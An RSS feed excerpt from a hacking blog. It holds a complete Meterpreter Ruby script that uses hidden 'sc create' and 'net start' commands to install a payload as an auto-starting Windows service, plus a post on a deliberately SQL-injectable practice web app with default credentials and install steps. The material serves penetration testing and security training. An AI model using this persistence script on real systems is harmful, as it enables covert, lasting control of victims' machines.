<div class="codecolorer-container ruby mac-classic" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:1120px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br /></div></td><td><div class="ruby codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color:#008000; font-style:italic;"># @Author: NightRanger, exploit.co.il</span><br />
<span style="color:#008000; font-style:italic;"># @Created on: Oct 16, 2010</span><br />
<span style="color:#008000; font-style:italic;">########################################</span><br />
<span style="color:#008000; font-style:italic;"># Added -d &quot;Service Description&quot; </span><br />
<span style="color:#008000; font-style:italic;"># Added -n &quot;Service Payload with Spaces&quot;</span><br />
<span style="color:#008000; font-style:italic;"># humble-desser</span><br />
<span style="color:#008000; font-style:italic;">########################################</span><br />
session = client<br />
<br />
@@exec_opts = <span style="color:#6666ff; font-weight:bold;">Rex::Parser::Arguments</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><br />
&nbsp; &nbsp; <span style="color:#996600;">&quot;-n&quot;</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, &nbsp;<span style="color:#996600;">&quot;Service Name.&quot;</span> <span style="color:#006600; font-weight:bold;">&#93;</span>,<br />
&nbsp; &nbsp; <span style="color:#996600;">&quot;-d&quot;</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, &nbsp;<span style="color:#996600;">&quot;Service Description.&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<br />
&nbsp; &nbsp; <span style="color:#996600;">&quot;-p&quot;</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, &nbsp;<span style="color:#996600;">&quot;Service Executable Path (i.e: c:<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>windows<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>system32<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>payload.exe).&quot;</span> <span style="color:#006600; font-weight:bold;">&#93;</span>,<br />
&nbsp; &nbsp; <span style="color:#996600;">&quot;-h&quot;</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#0000FF; font-weight:bold;">false</span>, <span style="color:#996600;">&quot;Help Menu.&quot;</span> <span style="color:#006600; font-weight:bold;">&#93;</span><br />
<span style="color:#006600; font-weight:bold;">&#41;</span> &nbsp;<br />
<br />
<span style="color:#9966CC; font-weight:bold;">def</span> usage<br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;****************************&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;* Windows Service Creator &nbsp;*&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;* &nbsp;Author: &nbsp;NightRanger &nbsp; &nbsp;*&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;* &nbsp; shai@exploit.co.il &nbsp; &nbsp; *&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;****************************&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_line<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'run sc -n &quot;Service Name&quot; -d &quot;Service Description&quot; -p c:<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>windows<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>system32<span style="color:#000099;">\\</span><span style="color:#000099;">\\</span>payload.exe'</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; <span style="color:#CC0066; font-weight:bold;">print</span><span style="color:#006600; font-weight:bold;">&#40;</span>@@exec_opts.<span style="color:#9900CC;">usage</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; <span style="color:#CC0066; font-weight:bold;">raise</span> <span style="color:#6666ff; font-weight:bold;">Rex::Script::Completed</span><br />
<span style="color:#9966CC; font-weight:bold;">end</span><br />
<br />
<br />
<span style="color:#9966CC; font-weight:bold;">def</span> sc_add<span style="color:#006600; font-weight:bold;">&#40;</span>session,sc_name,sc_exec,sc_desc<span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_status<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Creating Service #{sc_name}...&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; session.<span style="color:#9900CC;">sys</span>.<span style="color:#9900CC;">process</span>.<span style="color:#9900CC;">execute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;cmd /c sc create <span style="color:#000099;">\&quot;</span>#{sc_name}<span style="color:#000099;">\&quot;</span> binPath= <span style="color:#000099;">\&quot;</span>cmd /K start #{sc_exec}<span style="color:#000099;">\&quot;</span> start= auto error= ignore&quot;</span>, <span style="color:#0000FF; font-weight:bold;">nil</span>, <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#996600;">'Hidden'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, <span style="color:#996600;">'Channelized'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">false</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_status<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Starting the <span style="color:#000099;">\&quot;</span>#{sc_name}<span style="color:#000099;">\&quot;</span> Service...&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; session.<span style="color:#9900CC;">sys</span>.<span style="color:#9900CC;">process</span>.<span style="color:#9900CC;">execute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;cmd /c sc description <span style="color:#000099;">\&quot;</span>#{sc_name}<span style="color:#000099;">\&quot;</span> <span style="color:#000099;">\&quot;</span>#{sc_desc}<span style="color:#000099;">\&quot;</span> &quot;</span>, <span style="color:#0000FF; font-weight:bold;">nil</span>, <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#996600;">'Hidden'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, <span style="color:#996600;">'Channelized'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">false</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <br />
&nbsp; &nbsp; print_status<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Adding Description <span style="color:#000099;">\&quot;</span>#{sc_desc}<span style="color:#000099;">\&quot;</span>to the Service...&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; session.<span style="color:#9900CC;">sys</span>.<span style="color:#9900CC;">process</span>.<span style="color:#9900CC;">execute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;cmd /c net start <span style="color:#000099;">\&quot;</span>#{sc_name}<span style="color:#000099;">\&quot;</span>&quot;</span>, <span style="color:#0000FF; font-weight:bold;">nil</span>, <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#996600;">'Hidden'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, <span style="color:#996600;">'Channelized'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">false</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; print_status<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Service #{sc_name} Successfully Created...&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
<span style="color:#9966CC; font-weight:bold;">end</span><br />
<br />
sc_name &nbsp;= <span style="color:#0000FF; font-weight:bold;">nil</span><br />
sc_exec = <span style="color:#0000FF; font-weight:bold;">nil</span><br />
sc_desc = <span style="color:#0000FF; font-weight:bold;">nil</span><br />
@@exec_opts.<span style="color:#9900CC;">parse</span><span style="color:#006600; font-weight:bold;">&#40;</span>args<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>opt, idx, val<span style="color:#006600; font-weight:bold;">|</span><br />
&nbsp; &nbsp; <span style="color:#9966CC; font-weight:bold;">case</span> opt<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#996600;">&quot;-h&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#CC0066; font-weight:bold;">print</span><span style="color:#006600; font-weight:bold;">&#40;</span>@@exec_opts.<span style="color:#9900CC;">usage</span><span style="color:#006600; font-weight:bold;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#9966CC; font-weight:bold;">break</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#996600;">&quot;-n&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sc_name = val<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#996600;">&quot;-d&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sc_desc = val<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#996600;">&quot;-p&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sc_exec = val<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#9966CC; font-weight:bold;">end</span><br />
<span style="color:#006600; font-weight:bold;">&#125;</span><br />
<br />
<span style="color:#9966CC; font-weight:bold;">if</span> sc_name<br />
&nbsp; &nbsp; sc_add<span style="color:#006600; font-weight:bold;">&#40;</span>session,sc_name,sc_exec,sc_desc<span style="color:#006600; font-weight:bold;">&#41;</span><br />
<span style="color:#9966CC; font-weight:bold;">else</span><br />
&nbsp; &nbsp; usage<br />
<span style="color:#9966CC; font-weight:bold;">end</span></div></td></tr></tbody></table></div>
<p><strong><span style="text-decoration: underline;">Download The Script here:</span></strong></p>
<div class="attachments"><dl class="attachments attachments-large"><dt class="icon"><a title="sc.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/gz.png" width="48" height="48" alt="sc.tar.gz" /></a></dt><dd class="caption"><img class="lock" src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/lock.png" height="16" width="16" alt="Document locked" /><strong>Title</strong> : <a title="sc.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');">sc.tar.gz</a><br /><strong>Caption</strong> : Meterpreter Script - Windows Service Creator<br /><strong>File name</strong> : sc.tar.gz<br /><strong>Size</strong> : 860 B</dd></dl></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Meterpreter+Script+%E2%80%93+Windows+Service+Creator+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1971" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/meterpreter-script-windows-service-creator/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/meterpreter-script-windows-service-creator/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Exploit KB Vulnerable Web App</title>
		<link>http://exploit.co.il/hacking/exploit-kb-vulnerable-web-app/</link>
		<comments>http://exploit.co.il/hacking/exploit-kb-vulnerable-web-app/#comments</comments>
		<pubDate>Sat, 25 Sep 2010 11:06:04 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnearbel]]></category>
		<category><![CDATA[webapp]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1749</guid>
		<description><![CDATA[During my SQL Injection learning journey I needed a vulnerable web application for practice I created a WebApp vulnerable to SQL Injection for my personal use, The result was an extremely vulnerable web site which I could test some SQLi techniques against MySQL. I must confess, I am not a programmer and I have never coded in PHP ...]]></description>
				<content:encoded><![CDATA[<p>During my SQL Injection learning journey I needed a vulnerable web application for practice</p>
<p>I created a WebApp vulnerable to SQL Injection for my personal use, The result was an extremely vulnerable web site which I could test some SQLi techniques against MySQL.</p>
<p>I must confess, I am not a programmer and I have never coded in PHP before, I thought it would be a good practice to develop a PHP based site from scratch in order to learn the basic of PHP and MySQL.</p>
<p>exploit.co.il Vulnerable Web app designed as a learning platform to test various SQL injection Techniques and it is a fully functional web site with a content management system based on fckeditor.</p>
<p>I thought some of you may find it useful so i decided to share it via a SourceForge project page i created for it  at :</p>
<p><span style="color: #3366ff;"><a href="https://sourceforge.net/projects/exploitcoilvuln" target="_blank"><span style="color: #3366ff;">https://sourceforge.net/projects/exploitcoilvuln</span></a></span></p>
<div class="download_box">The web app is available for download as a <strong><a href="http://sourceforge.net/projects/exploitcoilvuln/files/src/exploit-wa.tar.gz/download" target="_blank"><span style="color: #3366ff;">source code package</span></a></strong> or a <strong><a href="http://sourceforge.net/projects/exploitcoilvuln/files/VMware%20Image/exploit-wa-vm.7z/download" target="_blank"><span style="color: #3366ff;">VMware image</span></a></strong>.</div>
<p>Please report bugs to:  <span style="color: #3366ff;">shai [ a t ] e  x p  l o i t  . c . o . i l</span></p>
<h3 class="toggle"><a href="#">Read Me First</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><span style="color: #000000;">Please notice! this web app is extremely vulnerable to SQLi attack and its poorly coded and configured intentionally.</span></p>
<p><span style="color: #000000;">It is not recommended to use this WebApp as live site on the net neither set it up on your local machine with access to it from the web.</span></p>
<p><span style="color: #000000;">Please use it in your internal LAN only, Set it up in a virtual environment such as VMware or Virtual Box.</span></p>
<p><span style="color: #000000;">This is a fully functional web site with a  content management system based on fckeditor.</span></p>
<p><span style="color: #000000;">I hope you will find this web app useful in your SQLi and web app security studies or demonstrations.</span></p>
<p></div></div>
<h3 class="toggle"><a href="#">General Information</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p>Visit the Vulnerable Web Site by browsing to its IP address</p>
<p>Admin interface can be found at: http://localhost/admin</p>
<p>Username: admin</p>
<p>Password: P@ssw0rd</p>
<p>Database Name: exploit</p>
<p><span style="text-decoration: underline;">Database contains 8 tables:</span></p>
<ul>
<li>articles</li>
<li>authors</li>
<li>category</li>
<li>downloads</li>
<li>links</li>
<li>members</li>
<li>news</li>
<li>videos</li>
</ul>
<p>I have only tested the web app for SQLi, but i am sure you will find some <strong><span style="color: #000000;">more interesting</span></strong> vulnerabilities <img src='http://exploit.co.il/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Please try to avoid using automated tools to find the vulnerabilities and try doing it manually</p>
<p>Feel free to discuss this web app by visiting <a href="http://exploit.co.il"><span style="color: #3366ff;">http://exploit.co.il</span></a> and commenting on the relevant post.</p>
<p>You can send solutions, videos and ideas to shai[at]exploit.co.il and i will post them on my blog.</p>
<p>Good Luck!</p>
<p></div></div>
<h3 class="toggle"><a href="#">Installation Notes</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><strong><span style="text-decoration: underline;"><span style="color: #000000;">Requirements:</span></span></strong></p>
<p><strong> </strong><span style="color: #000000;"><br />
Linux (Any linux distribution will do the job)<br />
Apache Web server<br />
PHP<br />
MySQL</span></p>
<p><span style="color: #000000;">Windows users can use WAMP Server</span></p>
<p><span style="color: #000000;"> <span style="color: #000000;"><a href="http://www.wampserver.com/en/" target="_blank"><span style="color: #3366ff;"> http://www.wampserver.com/en/</span></a><br />
<span style="color: #000000;"> or XAMPP<br />
<a href="http://www.apachefriends.org/en/index.html" target="_blank"><span style="color: #3366ff;"> http://www.apachefriends.org/en/index.html</span></a></span></span></span></p>
<p><strong><span style="text-decoration: underline;"><span style="color: #000000;">Installation:</span></span></strong></p>
<p><span style="color: #000000;">1. Extract the tar.gz file to your web root directory</span></p>
<p><span style="color: #000000;"><br />
2. Set up a new database either using CLI or phpMyAdmin and import the &#8220;exploit.sql&#8221; database</span></p>
<p><span style="color: #000000;"><br />
3. You will need to edit the database connection string which is located in a file named</span></p>
<p><span style="color: #000000;">&#8220;config.php&#8221; in your web root folder and &#8220;config.php&#8221; in webroot/admin/ folder<br />
Edit this config file with your sql server address,user name,password and database name.<br />
Thats all, Now just browse to &#8220;localhost&#8221; or 127.0.0.1 to see the web site.</span></p>
<p></div></div>
<h3 class="toggle"><a href="#">Linux Installation</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><span style="text-decoration: underline;">Extract the exploit-wa.tar.gz archive:</span></p>
<pre>root@BlackBox:/var/www$ tar -xzvf exploit-wa.tar.gz</pre>
<p><span style="text-decoration: underline;">Configure Database  Paramaters:</span></p>
<pre>root@BlackBox:/var/www$ nano config.php
root@BlackBox:/var/www$ nano admin/config.php</pre>
<p><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/cs.png"><img class="aligncenter size-full wp-image-1783" title="cs" src="http://exploit.co.il/wp-content/uploads/2010/09/cs.png" alt="" width="660" height="132" /></a></p>
<p><span style="text-decoration: underline;">Create The Database:</span></p>
<pre>root@BlackBox:~# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 1662
Server version: 5.1.41-3ubuntu12.6 (Ubuntu)

Type "help;" or "h" for help. Type "c" to clear the current input statement.

mysql&gt; CREATE DATABASE exploit;
Query OK, 1 row affected (0.00 sec)</pre>
<p><span style="text-decoration: underline;">Import Database content:</span></p>
<pre>root@BlackBox:/var/www/database$ mysql -u root -p exploit &lt; exploit.sql</pre>
<p><span style="text-decoration: underline;">Fixing FCKEditor upload path:</span></p>
<pre>root@BlackBox:~# cd /var/www/admin/fckeditor/editor/filemanager/connectors/php/
root@BlackBox:/var/www/admin/fckeditor/editor/filemanager/connectors/php# nano config.php</pre>
<p><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/fck.png"><img class="aligncenter size-full wp-image-1784" title="fck" src="http://exploit.co.il/wp-content/uploads/2010/09/fck.png" alt="" width="707" height="164" /></a></p>
<p><span style="text-decoration: underline;">Setting Permissions:</span><br />
If you are experiencing problems with the admin interface (fckeditor) you will need to fix the folders permissions.<br />
The easiest and fastest way to do it (making the app even more vulnerable) is by typing:</p>
<pre>root@BlackBox:/var/www$ chmod 777 -R admin/</pre>
<p></div></div>
<h3 class="toggle"><a href="#">Windows Installation</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p>1. Get WAMP Server:</p>
<p><a href="http://www.wampserver.com/en/download.php" target="_blank"><span style="color: #3366ff;">http://www.wampserver.com/en/download.php</span></a></p>
<p>2. WAMP Installation</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/1.jpg"><img class="aligncenter size-medium wp-image-1809" title="1" src="http://exploit.co.il/wp-content/uploads/2010/09/1-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Click the &#8220;Next&#8221; button</p>
<p style="text-align: left;">
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/2.jpg"><img class="aligncenter size-medium wp-image-1810" title="2" src="http://exploit.co.il/wp-content/uploads/2010/09/2-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Click the &#8220;Next&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/3.jpg"><img class="aligncenter size-medium wp-image-1811" title="3" src="http://exploit.co.il/wp-content/uploads/2010/09/3-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Click the &#8220;Next&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/4.jpg"><img class="aligncenter size-medium wp-image-1812" title="4" src="http://exploit.co.il/wp-content/uploads/2010/09/4-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Click the Install button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/5.jpg"><img class="aligncenter size-medium wp-image-1813" title="5" src="http://exploit.co.il/wp-content/uploads/2010/09/5-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/6.jpg"><img class="aligncenter size-medium wp-image-1814" title="6" src="http://exploit.co.il/wp-content/uploads/2010/09/6-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Choose your favorite browser</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/7.jpg"><img class="aligncenter size-medium wp-image-1815" title="7" src="http://exploit.co.il/wp-content/uploads/2010/09/7-300x223.jpg" alt="" width="300" height="223" /></a></p>
<p style="text-align: left;">Click the &#8220;Open&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/8.jpg"><img class="aligncenter size-medium wp-image-1816" title="8" src="http://exploit.co.il/wp-content/uploads/2010/09/8-300x223.jpg" alt="" width="300" height="223" /></a></p>
<p style="text-align: left;">Click the &#8220;Next&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/9.jpg"><img class="aligncenter size-medium wp-image-1817" title="9" src="http://exploit.co.il/wp-content/uploads/2010/09/9-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">Click the &#8220;Finish&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/10.jpg"><img class="aligncenter size-medium wp-image-1818" title="10" src="http://exploit.co.il/wp-content/uploads/2010/09/10-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p style="text-align: left;">3. Allow WAMP Apache server in windows firewall by clicking the &#8220;Unblock&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/11.jpg"><img class="aligncenter size-medium wp-image-1819" title="11" src="http://exploit.co.il/wp-content/uploads/2010/09/11-300x215.jpg" alt="" width="300" height="215" /></a></p>
<p style="text-align: left;">4. Check WAMP Installation by browsing to &#8220;localhost&#8221; or 127.0.0.1</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/12.jpg"><img class="aligncenter size-medium wp-image-1820" title="12" src="http://exploit.co.il/wp-content/uploads/2010/09/12-300x277.jpg" alt="" width="300" height="277" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">5. By Default WAMP MySQL Username is: &#8220;root&#8221; and password is blank</p>
<p style="text-align: left;">lets configure mysql password:</p>
<p style="text-align: left;">C:\&gt;cd C:\wamp\bin\mysql\mysql5.1.36\bin</p>
<p style="text-align: left;">C:\wamp\bin\mysql\mysql5.1.36in&gt;mysqladmin.exe -u root password qwe123</p>
<p style="text-align: left;">
<p style="text-align: left;">6. Also PhpMyAdmin interface does not require username and password to login, lets fix that by editing the phpmyadmin &#8220;config.inc.php&#8221; file</p>
<p style="text-align: left;">C:\&gt;cd C:\wamp\apps\phpmyadmin3.2.0.1</p>
<p style="text-align: left;">C:\wamp\apps\phpmyadmin3.2.0.1&gt;edit config.inc.php</p>
<p style="text-align: left;">Change the &#8220;[auth_type]&#8221; value to &#8220;http&#8221; and save the changes.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/13.jpg"><img class="aligncenter size-medium wp-image-1821" title="13" src="http://exploit.co.il/wp-content/uploads/2010/09/13-300x155.jpg" alt="" width="300" height="155" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">7. Now browse to http://localhost/phpmyadmin/</p>
<p style="text-align: left;">You will be prompt for a username and password</p>
<p style="text-align: left;">Just enter &#8220;root&#8221; as the username and your mysql password you created.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/14.jpg"><img class="aligncenter size-medium wp-image-1822" title="14" src="http://exploit.co.il/wp-content/uploads/2010/09/14-300x176.jpg" alt="" width="300" height="176" /></a></p>
<p style="text-align: left;">8. Create a database named &#8220;exploit&#8221; and click the &#8220;Create&#8221; button</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/15.jpg"><img class="aligncenter size-medium wp-image-1823" title="15" src="http://exploit.co.il/wp-content/uploads/2010/09/15-300x214.jpg" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;">
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/16.jpg"><img class="aligncenter size-medium wp-image-1824" title="16" src="http://exploit.co.il/wp-content/uploads/2010/09/16-300x214.jpg" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;">9. Extract &#8220;exploit-wa.tar.gz&#8221;  to &#8220;C:\wamp\www&#8221; you will be prompted to overwrite wamp default index page allow the file overwrite.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/17.jpg"><img class="aligncenter size-medium wp-image-1825" title="17" src="http://exploit.co.il/wp-content/uploads/2010/09/17-300x198.jpg" alt="" width="300" height="198" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/18.jpg"><img class="aligncenter size-medium wp-image-1826" title="18" src="http://exploit.co.il/wp-content/uploads/2010/09/18-300x284.jpg" alt="" width="300" height="284" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/19.jpg"><img class="aligncenter size-full wp-image-1827" title="19" src="http://exploit.co.il/wp-content/uploads/2010/09/19.jpg" alt="" width="258" height="268" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">10. In PhpMyAdmin Choose The &#8220;exploit&#8221; database and click on import</p>
<p style="text-align: left;">click on the &#8220;Choose File&#8221; button, browse to wamp web root folder and select the &#8220;exploit.sql&#8221; file which is located in the database folder, and click on the &#8220;Go&#8221; button to execute the import process.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/20.jpg"><img class="aligncenter size-medium wp-image-1828" title="20" src="http://exploit.co.il/wp-content/uploads/2010/09/20-300x221.jpg" alt="" width="300" height="221" /></a></p>
<p style="text-align: left;">
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/21.jpg"><img class="aligncenter size-medium wp-image-1829" title="21" src="http://exploit.co.il/wp-content/uploads/2010/09/21-300x177.jpg" alt="" width="300" height="177" /></a></p>
